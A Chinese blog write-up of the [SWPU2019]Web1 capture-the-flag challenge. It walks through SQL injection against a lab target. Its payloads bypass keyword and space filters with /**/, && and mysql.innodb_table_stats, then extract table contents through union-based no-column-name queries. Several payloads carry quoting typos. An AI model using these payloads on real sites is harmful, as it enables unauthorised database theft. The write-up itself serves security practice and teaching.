CTF例题:[SWPU2019]Web1(无列名注入)

2024-05-15 06:52

本文主要是介绍CTF例题:[SWPU2019]Web1(无列名注入),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

网址:BUUCTF在线评测

搜索web1

启动靶机

 点击链接进入题目

 进入题目后发现有登录和注册接口,直接注册登录。

首先通过1'进行测试,查看是否有注入点

出现报错,说明可能存在注入点

 然后继续测试发现该服务器过滤了:

or、information、join、and、#、空格

 由于or被过滤无法使用order by爆出列数

方法一:可以使用group by进行列数的爆出,空格使用/**/替换

1' /**/group/**/by/**/(1-23),'1                        '1在group by中不算一列

从第一列依次往后测试列数,直到当列数为23时,出现报错,报错如下

此时说明该列已经超出该表的列数了,由此得出该表列数为22列

方法二:使用联合查表一次次测试出列数(比方法一较为麻烦)需要将列依次写下去,如:

 1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,'1   '1在联合查询中算一列

当select后面的列数与该表不对会报出以下错误(提示列数不一致): 

 当测试到与该表有相同列数时(即22列)

由上图可知,该表由22列,且数据爆出在2,3位,所以可以通过在2,3位上使用函数进行对需要的信息进行查询

1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='1

找到数据库名

数据库名知道后,继续通过联合查询找出表名,但过滤了information和and所以可以通过mysql.innodb_table_stats和&&进行替换

-1'/**/union/**/select/**/1,concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'/**/&&/**/'1'=1'

表名显示不全,可以通过group_concat()函数将表名显示出来

-1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'/**/&&/**/'1'='1

首先对表ads进行查询,但不知道列名,又因过滤了join所以无法使用重复报错将列名回显出来,但是知道列数,所以不找列名,直接查询


-1'/**/union/**/select /**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/ b,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/union/**/select/**/*/**/from /**/ads)as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='1---查2

-1' union select 1,(select group_concat(b) from (select 1,2 ,3 as b,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 union select * from ads)as a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1---查3

在表ads中都没有需要的信息,所以换成users表,但不知道users表的列数,

1'/**/union/**/select/**/1,(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,10,21,22/**/&&/**/‘1’=‘1    ---通过修改列数(/**/1,2,3/**/),依次去查询users表的列数

测试之后查询到users表位3列,由此继续查询(注意别名)

1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)as a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,10,21,22/**/&&/**/’1‘=’1---查出users的列名,但没有想要的信息

1'/**/union/**/select/**/1,(select/**/group_concat(c)/**/from/**/(select/**/1,2,3/**/as/**/c/**/union/**/select/**/*/**/from/**/users)as a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,10,21,22/**/&&/**/‘1’=‘1---查看第三列,最终得到
 

这篇关于CTF例题:[SWPU2019]Web1(无列名注入)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/991110

相关文章

SpringBoot中@Value注入静态变量方式

《SpringBoot中@Value注入静态变量方式》SpringBoot中静态变量无法直接用@Value注入,需通过setter方法,@Value(${})从属性文件获取值,@Value(#{})用... 目录项目场景解决方案注解说明1、@Value("${}")使用示例2、@Value("#{}"php

深入浅出Spring中的@Autowired自动注入的工作原理及实践应用

《深入浅出Spring中的@Autowired自动注入的工作原理及实践应用》在Spring框架的学习旅程中,@Autowired无疑是一个高频出现却又让初学者头疼的注解,它看似简单,却蕴含着Sprin... 目录深入浅出Spring中的@Autowired:自动注入的奥秘什么是依赖注入?@Autowired

Spring 依赖注入与循环依赖总结

《Spring依赖注入与循环依赖总结》这篇文章给大家介绍Spring依赖注入与循环依赖总结篇,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录1. Spring 三级缓存解决循环依赖1. 创建UserService原始对象2. 将原始对象包装成工

Spring-DI依赖注入全过程

《Spring-DI依赖注入全过程》SpringDI是核心特性,通过容器管理依赖注入,降低耦合度,实现方式包括组件扫描、构造器/设值/字段注入、自动装配及作用域配置,支持灵活的依赖管理与生命周期控制,... 目录1. 什么是Spring DI?2.Spring如何做的DI3.总结1. 什么是Spring D

Java Spring的依赖注入理解及@Autowired用法示例详解

《JavaSpring的依赖注入理解及@Autowired用法示例详解》文章介绍了Spring依赖注入(DI)的概念、三种实现方式(构造器、Setter、字段注入),区分了@Autowired(注入... 目录一、什么是依赖注入(DI)?1. 定义2. 举个例子二、依赖注入的几种方式1. 构造器注入(Con

如何使用Lombok进行spring 注入

《如何使用Lombok进行spring注入》本文介绍如何用Lombok简化Spring注入,推荐优先使用setter注入,通过注解自动生成getter/setter及构造器,减少冗余代码,提升开发效... Lombok为了开发环境简化代码,好处不用多说。spring 注入方式为2种,构造器注入和setter

SpringBoot项目注入 traceId 追踪整个请求的日志链路(过程详解)

《SpringBoot项目注入traceId追踪整个请求的日志链路(过程详解)》本文介绍了如何在单体SpringBoot项目中通过手动实现过滤器或拦截器来注入traceId,以追踪整个请求的日志链... SpringBoot项目注入 traceId 来追踪整个请求的日志链路,有了 traceId, 我们在排

SQL注入漏洞扫描之sqlmap详解

《SQL注入漏洞扫描之sqlmap详解》SQLMap是一款自动执行SQL注入的审计工具,支持多种SQL注入技术,包括布尔型盲注、时间型盲注、报错型注入、联合查询注入和堆叠查询注入... 目录what支持类型how---less-1为例1.检测网站是否存在sql注入漏洞的注入点2.列举可用数据库3.列举数据库

PHP防止SQL注入详解及防范

SQL 注入是PHP应用中最常见的漏洞之一。事实上令人惊奇的是,开发者要同时犯两个错误才会引发一个SQL注入漏洞。 一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义(转义输出)。这两个重要的步骤缺一不可,需要同时加以特别关注以减少程序错误。 对于攻击者来说,进行SQL注入攻击需要思考和试验,对数据库方案进行有根有据的推理非常有必要(当然假设攻击者看不到你的

PHP防止SQL注入的方法(2)

如果用户输入的是直接插入到一个SQL语句中的查询,应用程序会很容易受到SQL注入,例如下面的例子: $unsafe_variable = $_POST['user_input'];mysql_query("INSERT INTO table (column) VALUES ('" . $unsafe_variable . "')"); 这是因为用户可以输入类似VALUE”); DROP TA